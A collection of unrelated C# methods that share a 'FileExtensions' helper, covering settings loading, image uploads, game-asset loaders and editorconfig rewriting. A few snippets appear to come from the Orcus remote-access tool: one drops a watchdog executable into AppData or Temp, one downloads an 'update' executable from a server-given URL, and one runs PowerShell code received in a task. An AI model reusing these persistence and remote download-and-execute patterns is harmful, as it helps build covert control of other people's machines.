public void LoadSettings() { if (File.Exists(FILE_SETTINGS_CURRENT)) { try { loadingSettings = true; XmlDocument doc = new XmlDocument(); FileExtensions.CreateDirectoriesForFile(FILE_SETTINGS_CURRENT); doc.Load(FILE_SETTINGS_CURRENT); XmlNode root = doc.DocumentElement; if (root.LocalName != ROOT_TAG) { return; } foreach (XmlNode node in root.ChildNodes) { deserializeSetting(node); } SettingsLoaded?.Invoke(); } finally { loadingSettings = false; } } else { SaveSettings(); SettingsLoaded?.Invoke(); } }
protected override bool OnAnalyse() { foreach (var file in Context.EnumerateAllFiles(Context.Path, "*")) { if (!IsApplicable(file)) { continue; } var endings = FileExtensions.DetectAllLineEndings(file); if (endings.Count == 0) { continue; } if (endings.Count > 1) { Trace.TraceError($"Multiple line endings in {file}"); filesWithIncorrectLineEndings.Add(file); continue; } if (endings.Single() != lineEnding) { Trace.TraceError($"Incorrect line endings in {file}"); filesWithIncorrectLineEndings.Add(file); continue; } } return(filesWithIncorrectLineEndings.Count == 0); }
public async Task <ActionResult> Create(int?productid, IFormFile[] filePicture) { if (ModelState.IsValid) { if (filePicture != null && filePicture.Length > 0 && filePicture[0] != null) { List <Picture> listPicture = new List <Picture>(); Picture picture = new Picture(); foreach (var item in filePicture) { var path = Path.Combine(_environment.WebRootPath, Constants.LocaltionImage); var image = FileExtensions.UploadImage(item, path); if (image != null) { picture = new Picture(); picture.ProductId = productid; picture.ImageName = item.FileName; picture.ImageUrl = image; picture.TypePicture = Constants.TYPE_PICTURE.Product; picture.ImageAlias = item.FileName.ToFriendlyUrl() + "_" + FileExtensions.GetUniqueKey(5); picture.CreatedOnUtc = picture.UpdatedOnUtc = DateTime.Now; listPicture.Add(picture); } } _context.Picture.AddRange(listPicture); await _context.SaveChangesAsync(); TempData["Message"] = "create"; } } return(Redirect("~/Admin/Products")); }
public async Task EditAsync(int id, string authorName, string bookTitle, string bookDescription, string cityIssued, string press, DepartmentType department, int publishDate, int pages, string genre, string imageUrl, Language language) { var book = await this.db.Books.FindAsync(id); if (book == null) { return; } book.AuthorName = authorName; book.BookTitle = bookTitle; book.BookDescription = bookDescription; book.CityIssued = cityIssued; book.Press = press; book.Department = department; book.PublishDate = publishDate; book.Pages = pages; book.Genre = genre; book.Language = language; if (imageUrl != null) { if (imageUrl != DefaultBookCoverImagePathBg) { FileExtensions.DeleteImage(book.ImageUrl); } book.ImageUrl = imageUrl; } await this.db.SaveChangesAsync(); }
public static int GetRandFileSize(FileExtensions ext) { var fileSize = 0; switch (ext) { case FileExtensions.JIF: fileSize = 900000; fileSize += UnityEngine.Random.Range(-350000, 50000); break; case FileExtensions.TXXXT: fileSize = 1000; fileSize += UnityEngine.Random.Range(-800, 800); break; case FileExtensions.FAP: fileSize = 1474560; fileSize += UnityEngine.Random.Range(-150000, 10000); break; case FileExtensions.LEL: fileSize = UnityEngine.Random.Range(200000, 1300000); break; default: break; } return(fileSize); }
internal void AddObjects(Renderer.Renderer renderer, string path, Package package) { var data = Resource.Blocks[BlockType.DATA] as NTRO; // Output is World_t we need to iterate m_worldNodes inside it. var worldNodes = (NTROArray)data.Output["m_worldNodes"]; if (worldNodes.Count > 0) { var nodeData = ((NTROValue <NTROStruct>)worldNodes[0]).Value; //TODO: Not be 0. var worldNode = ((NTROValue <string>)nodeData["m_worldNodePrefix"]).Value; if (worldNode != null) { var newResource = FileExtensions.LoadFileByAnyMeansNecessary(worldNode + ".vwnod_c", path, package); if (newResource == null) { Console.WriteLine("unable to load model " + worldNode + ".vwnod_c"); throw new Exception("WTF"); } var node = new WorldNode(newResource); node.AddMeshes(renderer, path, package); } } var entityLumps = (NTROArray)data.Output["m_entityLumps"]; foreach (var lump in entityLumps) { LoadEntities(lump, renderer, path, package); } }
protected override bool IsLatestLoaderVersion() { string loaderHash = FileExtensions.CalculateFileMd5Hash(LoaderFileName); _logger.Info($"Calculated Hash {loaderHash} expected {LoaderMD5}"); return(LoaderMD5.Equals(loaderHash)); }
/// <summary> /// Generate a list of DatItem objects from the header values in an archive /// </summary> /// <returns>List of DatItem objects representing the found data</returns> public override List <BaseFile> GetChildren() { if (_children == null || _children.Count == 0) { _children = new List <BaseFile>(); string gamename = Path.GetFileNameWithoutExtension(this.Filename); BaseFile possibleTgz = GetTorrentGZFileInfo(); // If it was, then add it to the outputs and continue if (possibleTgz != null && possibleTgz.Filename != null) { _children.Add(possibleTgz); } else { try { // Create a blank item for the entry BaseFile gzipEntryRom = new BaseFile(); // Perform a quickscan, if flagged to if (this.AvailableHashes == Hash.CRC) { gzipEntryRom.Filename = gamename; using (BinaryReader br = new BinaryReader(FileExtensions.TryOpenRead(this.Filename))) { br.BaseStream.Seek(-8, SeekOrigin.End); gzipEntryRom.CRC = br.ReadBytesBigEndian(4); gzipEntryRom.Size = br.ReadInt32BigEndian(); } } // Otherwise, use the stream directly else { var gz = new gZip(); ZipReturn ret = gz.ZipFileOpen(this.Filename); ret = gz.ZipFileOpenReadStream(0, out Stream gzstream, out ulong streamSize); gzipEntryRom = gzstream.GetInfo(hashes: this.AvailableHashes); gzipEntryRom.Filename = gz.Filename(0); gzipEntryRom.Parent = gamename; gzipEntryRom.Date = (gz.TimeStamp > 0 ? gz.TimeStamp.ToString() : null); gzstream.Dispose(); } // Fill in comon details and add to the list gzipEntryRom.Parent = gamename; _children.Add(gzipEntryRom); } catch (Exception ex) { logger.Error(ex); return(null); } } } return(_children); }
public static void compressCustomBmpImage(string source, string dist) { LzwStringTable table = new LzwStringTable(); byte[] data = FileExtensions.readBytesFromFile(source); string compressedImg = ""; byte firstChar = data[0]; string match = firstChar.ToString(); for (int i = 1; i < data.Length; i++) { string nextMatch = match + "," + data[i].ToString(); if (table.Contains(nextMatch)) { match = nextMatch; } else { compressedImg += (table.GetCode(match).ToString() + ","); table.AddCode(nextMatch); match = data[i].ToString(); } } compressedImg += (table.GetCode(match).ToString() + ","); StreamWriter writer = new StreamWriter(dist); writer.WriteLine(compressedImg); writer.Close(); }
public static List <ValveResourceFormat.ResourceTypes.Animation.Animation> LoadAnimationGroup(Resource resource, string path) { var dataBlock = resource.Blocks[BlockType.DATA]; var data = dataBlock is NTRO ntro ? ntro.Output as IKeyValueCollection : ((BinaryKV3)dataBlock).Data; // Get the list of animation files var animArray = data.GetArray <string>("m_localHAnimArray"); // Get the key to decode the animations var decodeKey = data.GetSubCollection("m_decodeKey"); var animationList = new List <ValveResourceFormat.ResourceTypes.Animation.Animation>(); // Load animation files foreach (var animationFile in animArray) { var animResource = FileExtensions.LoadFileByAnyMeansNecessary(animationFile + "_c", path, null); if (animResource == null) { throw new FileNotFoundException($"Failed to load {animationFile}_c. Did you configure game paths correctly?"); } // Build animation classes animationList.Add(new ValveResourceFormat.ResourceTypes.Animation.Animation(animResource, decodeKey)); } return(animationList); }
private static FileInfo WriteWatchdogFile() { #if DEBUG return(new FileInfo(@"..\..\..\Features\Orcus.Golem\bin\Debug\Orcus.Golem.exe")); #else var watchdogProperty = Settings.GetBuilderProperty <WatchdogBuilderProperty>(); string directory; switch (watchdogProperty.WatchdogLocation) { case WatchdogLocation.AppData: directory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); break; case WatchdogLocation.Temp: directory = Path.GetTempPath(); break; default: return(null); } var watchdogFile = new FileInfo(Path.Combine(directory, watchdogProperty.Name)); if (watchdogFile.Exists) { //wait until the file is free (up to 5 x 50 = 250 ms) for (int i = 0; i < 5; i++) { try { watchdogFile.Delete(); } catch (Exception) { continue; } Thread.Sleep(50); } if (watchdogFile.Exists) { watchdogFile = new FileInfo(FileExtensions.MakeUnique(watchdogFile.FullName)); } } try { ResourceHelper.WriteGZippedResourceToFile(watchdogFile.FullName, "Orcus.Watchdog.exe.gz"); } catch (Exception) { return(null); } File.WriteAllText(watchdogFile.FullName + ".config", Properties.Resources.AppConfig); watchdogFile.Refresh(); return(watchdogFile); #endif }
private async Task <bool> RenameToLowercase(string filePath, Func <Task <bool> > permissionAsker) { var name = Path.GetFileName(filePath); bool isFile = !FileExtensions.IsFolder(filePath); bool shouldRenameAxml = isFile && ".axml".Equals(Path.GetExtension(filePath), StringComparison.InvariantCultureIgnoreCase); /*TODO: rename Resource.ResSubfolder.Something to Resource.ResSubfolder.something everywhere in code*/ if (name.HasUppercaseChars() || shouldRenameAxml) { if (!_grantedPermissionsToChangeMainProject) { //so we noticed that xamarin project has some needed directories in upper case, let's aks user to rename them if (!await permissionAsker()) { AppendLog("Operation cancelled by user"); throw new OperationCanceledException("Cancelled by user"); } _grantedPermissionsToChangeMainProject = true; } if (shouldRenameAxml) { AppendLog("Renaming {0} from axml to xml and to lowercase", name); FileExtensions.RenameFileExtensionAndMakeLowercase(filePath, "xml"); return(true); } else { AppendLog("Renaming {0} to lowercase", name); FileExtensions.RenameFileOrFolderToLowercase(filePath); return(true); } } return(false); }
private async void LoadFinised(object sender, DownloadStringCompletedEventArgs e) { bool scheduleFileExists = await ApplicationData.Current.LocalFolder.FileExists("schedule.txt"); WebSchedule ws = JsonConvert.DeserializeObject <WebSchedule>(e.Result); schedule = Schedule.FromWebSchedule(ws); await schedule.SaveScheduleToFile(); var scheduleTime = DateTime.Now.ToString("dd.MM.yyyy H:mm:ss"); await FileExtensions.WriteDataToFileAsync("scheduleDateTime.txt", scheduleTime); if (!netAvailable) { if (scheduleFileExists) { ShowLoading(); schedule = await Schedule.LoadScheduleFromFile(); } else { mainPivot.Title = "Нет сети"; return; } } ReadyToShow(); SetGroupAndShow(); }
public void LoadMeshes(Renderer.Renderer renderer, string path, Matrix4 transform, Vector4 tintColor, Package currentPackage = null, string skin = null) { var data = (NTRO)Resource.Blocks[BlockType.DATA]; var refMeshes = (NTROArray)data.Output["m_refMeshes"]; var materialGroups = (NTROArray)data.Output["m_materialGroups"]; for (var i = 0; i < refMeshes.Count; i++) { var refMesh = ((NTROValue <ResourceExtRefList.ResourceReferenceInfo>)refMeshes[i]).Value; var newResource = FileExtensions.LoadFileByAnyMeansNecessary(refMesh.Name + "_c", path, currentPackage); if (newResource == null) { Console.WriteLine("unable to load mesh " + refMesh.Name); continue; } if (!newResource.Blocks.ContainsKey(BlockType.VBIB)) { Console.WriteLine("Old style model, no VBIB!"); continue; } var skinMaterials = new List <string>(); if (!string.IsNullOrEmpty(skin)) { foreach (var materialGroup2 in materialGroups) { var materialGroup = ((NTROValue <NTROStruct>)materialGroup2).Value; if (((NTROValue <string>)materialGroup["m_name"]).Value == skin) { var materials = (NTROArray)materialGroup["m_materials"]; foreach (var material in materials) { skinMaterials.Add(((NTROValue <ResourceExtRefList.ResourceReferenceInfo>)material).Value.Name); } break; } } } renderer.AddMeshObject(new MeshObject { Resource = newResource, Transform = transform, TintColor = tintColor, SkinMaterials = skinMaterials }); // TODO: Only first, again. break; } }
public override void ExecuteTask(EnvironmentManager environmentManager, ExecutePowerShellScriptTask updateTask, Logger logger, StatusUpdater statusUpdater) { statusUpdater.UpdateStatus(statusUpdater.Translation.WritePowerShellScript); var scriptFilename = FileExtensions.MakeUnique(Path.Combine(environmentManager.RevertTempDirectory.FullName, "PowerShell-Script.ps1")); logger.Info($"PowerShell script filename: {scriptFilename}"); File.WriteAllText(scriptFilename, updateTask.Code); statusUpdater.UpdateStatus(statusUpdater.Translation.ExecutePowerShellScript); var processStartInfo = new ProcessStartInfo("powershell.exe") { Arguments = scriptFilename, CreateNoWindow = true, UseShellExecute = false }; var process = Process.Start(processStartInfo); logger.Info("Script started, wait for exit"); process.WaitForExit(); }
public void FileSystem_GetFileNameWithExtension() { var tempFileNameWithOutExtension = FileExtensions.GetRandomFileName("Test_", ""); _fileSystem.GetFileNameWithoutExtension($"{tempFileNameWithOutExtension}.log").Should() .Be(tempFileNameWithOutExtension); }
/// <summary> /// Could be absolute path /// </summary> /// <param name="projectListFile"></param> /// <param name="outputListFile"></param> /// <returns></returns> public static async Task <ParseResult> GenerateMetadataFromProjectListAsync(string projectListFile, string outputListFile) { var projectList = GetFileList(projectListFile); if (projectList == null || projectList.Count == 0) { return(new ParseResult(ResultLevel.Error, "No project file listed in {0}, Exiting", projectListFile)); } string outputFolder = Path.GetDirectoryName(outputListFile); if (string.IsNullOrEmpty(outputFolder)) { outputFolder = Path.GetRandomFileName(); } List <string> outputFileList = await GenerateMetadataFromProjectListCoreAsync(projectList, outputFolder); if (outputFileList != null && outputFileList.Count > 0) { FileExtensions.SaveFileListToFile(outputFileList, outputListFile); return(new ParseResult(ResultLevel.Success)); } else { return(new ParseResult(ResultLevel.Warn, "No metadata file generated for {0}", projectList.ToDelimitedString())); } }
public static string ResolveApiHrefRelativeToCurrentApi(Dictionary <string, MetadataItem> index, string name, string currentApiName) { if (string.IsNullOrEmpty(name) || index == null) { return(name); } MetadataItem item; if (index.TryGetValue(name, out item)) { MetadataItem currentApi; if (!index.TryGetValue(currentApiName, out currentApi)) { return(item.Href); } var currentHref = currentApi.Href; if (string.IsNullOrEmpty(currentHref)) { return(item.Href); } var directoryName = Path.GetDirectoryName(currentHref); return(FileExtensions.MakeRelativePath(directoryName, item.Href)); } return(name); }
public async void VsTextViewCreated(IVsTextView textViewAdapter) { IWpfTextView view = AdaptersFactory.GetWpfTextView(textViewAdapter); if (!DocumentService.TryGetTextDocument(view.TextBuffer, out ITextDocument doc)) { return; } string ext = Path.GetExtension(doc.FilePath); if (!FileExtensions.Contains(ext, StringComparer.OrdinalIgnoreCase)) { return; } ITextBufferUndoManager undoManager = UndoProvider.GetTextBufferUndoManager(view.TextBuffer); NodeProcess node = view.Properties.GetOrCreateSingletonProperty(() => new NodeProcess()); AddCommandFilter(textViewAdapter, new SortCommand(view, undoManager, node)); AddCommandFilter(textViewAdapter, new ModeCommand()); if (!node.IsReadyToExecute()) { await Install(node); } }
private bool Initialize(BinaryWriter binaryWriter, BinaryReader binaryReader, out string fileName) { fileName = null; binaryWriter.Write((byte)AuthentificationIntention.ClientRegister); binaryWriter.Write(Program.ServerApiVersion); switch ((PrimitiveProtocol)binaryReader.ReadByte()) { case PrimitiveProtocol.ResponseEverythingIsAwesome: return(true); case PrimitiveProtocol.ResponseUpgradeNeeded: var updateUrl = Encoding.UTF8.GetString(binaryReader.ReadBytes(binaryReader.ReadInt32())); var path = FileExtensions.GetFreeTempFileName("exe"); using (var wc = new WebClient()) { wc.DownloadFile(updateUrl, path); } fileName = path; return(false); default: return(false); } }
public async Task <string> CreateDatabaseFromTemplate(string name, bool withRollback = false) { //TODO: if dataFile doesnt exists do a drop and recreate var stopwatch = Stopwatch.StartNew(); // Explicitly dont take offline here, since that is done at startup var dataFile = Path.Combine(Directory, $"{name}.mdf"); var logFile = Path.Combine(Directory, $"{name}_log.ldf"); var commandText = SqlBuilder.GetCreateOrMakeOnlineCommand(name, dataFile, logFile, withRollback); if (string.Equals(name, "template", StringComparison.OrdinalIgnoreCase)) { throw new Exception("The database name 'template' is reserved."); } await startupTask; File.Copy(TemplateDataFile, dataFile, true); File.Copy(TemplateLogFile, logFile, true); FileExtensions.MarkFileAsWritable(dataFile); FileExtensions.MarkFileAsWritable(logFile); await ExecuteOnMasterAsync(commandText); Trace.WriteLine($"Create DB `{name}` {stopwatch.ElapsedMilliseconds}ms.", "LocalDb"); return($"Data Source=(LocalDb)\\{instance};Database={name};MultipleActiveResultSets=True;Pooling=false"); }
protected override bool OnApply() { var firstNonBlankNonCommentLine = editorConfigFile.Preamble.Lines .Where(line => !(line is EditorConfigBlankLine)) .Where(line => !(line is EditorConfigCommentLine)) .FirstOrDefault(); var lastNonBlankLine = editorConfigFile.Preamble.Lines .Where(line => !(line is EditorConfigBlankLine)) .LastOrDefault(); var lineToInsertAt = firstNonBlankNonCommentLine != null ? firstNonBlankNonCommentLine.LineNumber : lastNonBlankLine != null ? lastNonBlankLine.LineNumber + 1 : 1; editorConfigFile.Edit(lines => { lines.Insert(lineToInsertAt - 1, "root = true"); }); FileExtensions.RewriteAllLines(editorConfigPath, editorConfigFile.LinesOfText); return(true); }
protected override bool OnApply() { var insertIndex = section.Lines .Where(line => !(line is EditorConfigBlankLine)) .Select(line => line.Index + 1) .LastOrDefault(); var isBlankLineRequired = insertIndex < editorConfigFile.Lines.Count - 1 && !(editorConfigFile.Lines[insertIndex] is EditorConfigBlankLine); var linesToInsert = new List <string>(); linesToInsert.Add($"{key} = {value}"); if (isBlankLineRequired) { linesToInsert.Insert(0, ""); } editorConfigFile.Edit(lines => { lines.InsertRange(insertIndex, linesToInsert); }); FileExtensions.RewriteAllLines(editorConfigPath, editorConfigFile.LinesOfText); return(true); }
internal void AddObjects(Renderer.Renderer renderer, string path, Package package) { // Output is World_t we need to iterate m_worldNodes inside it. var worldNodes = world.GetWorldNodeNames(); foreach (var worldNode in worldNodes) { if (worldNode != null) { var newResource = FileExtensions.LoadFileByAnyMeansNecessary(worldNode + ".vwnod_c", path, package); if (newResource == null) { Console.WriteLine("unable to load model " + worldNode + ".vwnod_c"); throw new Exception("WTF"); } var renderWorldNode = new RenderWorldNode(newResource); renderWorldNode.AddMeshes(renderer, path, package); } } foreach (var lump in world.GetEntityLumpNames()) { LoadEntities(lump, renderer, path, package); } }
protected override string CreateConnectionString() { var path = FileExtensions.CreateTempFilePath("ztemp", ".sqlite"); var connectionString = $"Data Source={path};Version=3;"; return(connectionString); }
static Int32 Main(String[] args) { CopySourceOptions options = new CopySourceOptions(); List <String> nonOptionArgs = options.Parse(args); if (nonOptionArgs.Count != 2) { return(options.ErrorAndUsage("Expected 2 non-option arguments but got {0}", nonOptionArgs.Count)); } String sourceFile = nonOptionArgs[0]; String destFile = nonOptionArgs[1]; if (!File.Exists(sourceFile)) { Console.WriteLine("Error: source file '{0}' does not exist", sourceFile); return(1); } // TODO: how to handle if the destination file/directory do or do not exist if (options.namespaceChange.set) { String oldNamespace, newNamespace; String oldNamespaceWithTrailingDot, newNamespaceWithTrailingDot; String namespaceChangeString = options.namespaceChange.ArgValue; Int32 colonIndex = namespaceChangeString.IndexOf(':'); if (colonIndex < 0) { Console.WriteLine("Namespace change option should contain a colon to seperate the namespaces."); return(1); } oldNamespace = namespaceChangeString.Remove(colonIndex); newNamespace = namespaceChangeString.Substring(colonIndex + 1); oldNamespaceWithTrailingDot = oldNamespace + "."; newNamespaceWithTrailingDot = newNamespace + "."; String fileContents = FileExtensions.ReadFileToString(sourceFile); // // Make Replacements // fileContents = fileContents.Replace("namespace " + oldNamespaceWithTrailingDot, "namespace " + newNamespaceWithTrailingDot); fileContents = fileContents.Replace("namespace " + oldNamespace, "namespace " + newNamespace); fileContents = fileContents.Replace("using " + oldNamespaceWithTrailingDot, "using " + newNamespaceWithTrailingDot); fileContents = fileContents.Replace("using " + oldNamespace, "using " + newNamespace); fileContents = fileContents.Replace(oldNamespaceWithTrailingDot, newNamespaceWithTrailingDot); FileExtensions.SaveStringToFile(destFile, FileMode.Create, fileContents); } else { File.Copy(sourceFile, destFile, true); } return(0); }
private Material LoadMaterial(string name) { var mat = new Material(); mat.Textures["g_tColor"] = GetErrorTexture(); var resource = FileExtensions.LoadFileByAnyMeansNecessary(name + "_c", CurrentFileName, CurrentPackage); Materials.Add(name, mat); if (resource == null) { Console.Error.WriteLine("File " + name + " not found"); mat.Textures["g_tNormal"] = GetErrorTexture(); mat.Parameters = new VrfMaterial(); return(mat); } mat.Parameters = new VrfMaterial(resource); foreach (var textureReference in mat.Parameters.TextureParams) { var key = textureReference.Key; mat.Textures[key] = LoadTexture(textureReference.Value); } if (mat.Parameters.IntParams.ContainsKey("F_SOLID_COLOR") && mat.Parameters.IntParams["F_SOLID_COLOR"] == 1) { var a = mat.Parameters.VectorParams["g_vColorTint"]; mat.Textures["g_tColor"] = GenerateColorTexture(1, 1, new[] { a.X, a.Y, a.Z, a.W }); } // TODO: Perry, this probably needs to be in shader or something if (mat.Textures.ContainsKey("g_tColor2") && mat.Textures["g_tColor"] == GetErrorTexture()) { mat.Textures["g_tColor"] = mat.Textures["g_tColor2"]; } if (mat.Textures.ContainsKey("g_tColor1") && mat.Textures["g_tColor"] == GetErrorTexture()) { mat.Textures["g_tColor"] = mat.Textures["g_tColor1"]; } // Set default values for scale and positions if (!mat.Parameters.VectorParams.ContainsKey("g_vTexCoordScale")) { mat.Parameters.VectorParams["g_vTexCoordScale"] = Vector4.One; } if (!mat.Parameters.VectorParams.ContainsKey("g_vTexCoordOffset")) { mat.Parameters.VectorParams["g_vTexCoordOffset"] = Vector4.Zero; } return(mat); }
public async Task <List <IFile> > ListFiles(string directory) { var c = GetClient(); var d = directory; if (d != "" && !d.StartsWith("/", StringComparison.Ordinal)) { d = "/" + d; } var r = await c.Files.ListFolderAsync(d).ConfigureAwait(false); var exts = FileExtensions.Select(x => "." + x).ToDictionary(x => x); var res = r.Entries. Select(GetDropboxFile). Where(x => { var ext = Path.GetExtension(x.Path); return(x.IsDirectory || (!string.IsNullOrEmpty(ext) && exts.ContainsKey(ext))); }). Cast <IFile>(). ToList(); return(res); }
/// <summary> /// Save information to the <c>.csproj</c> file /// </summary> /// public void Save() { // // The dotnet tool writes .csproj files with Windows line endings and no UTF-8 BOM // FileExtensions.RewriteAllLines(Path, Lines, LineEnding.CRLF, false); }
public void DownloadDemandAggregation(DemandAggregationSearchItems search) { FileExtensions ext = FileExtensions.xlsx; var workBook = dashboardHandler.GetDemandAggregationReportData(search, ext); string fileExtension = string.Empty; switch (ext) { case FileExtensions.xlsx: fileExtension = $".{FileExtensions.xlsx.ToString()}"; break; case FileExtensions.xls: fileExtension = $".{FileExtensions.xls.ToString()}"; break; } var response = HttpContext.Response; response.ContentType = FileTypes.MimeTypes[fileExtension]; var contentDisposition = new ContentDispositionHeaderValue("attachment"); contentDisposition.SetHttpFileName( string.Format("{0}{1}", DateTime.Now.Ticks, fileExtension)); response.Headers[HeaderNames.ContentDisposition] = contentDisposition.ToString(); workBook.Write(response.Body); }
public whitelist(FileExtensions incomingextensions) { InitializeComponent(); extensions = incomingextensions; PopulateExtensionBoxes(); }
private void PopulateExtensions() { string filename = "whitelist.xml"; try { var deserializer = new System.Xml.Serialization.XmlSerializer(typeof(FileExtensions)); FileStream fs = new FileStream(filename, FileMode.Open); XmlReader reader = new XmlTextReader(fs); extensions = (FileExtensions)deserializer.Deserialize(reader); fs.Close(); reader.Close(); LogToBox("Whitelist loaded"); } catch { extensions = null; btnWhitelist.Visibility = System.Windows.Visibility.Hidden; LogToBox("Failed to load whitelist. Won't ignore any files."); } }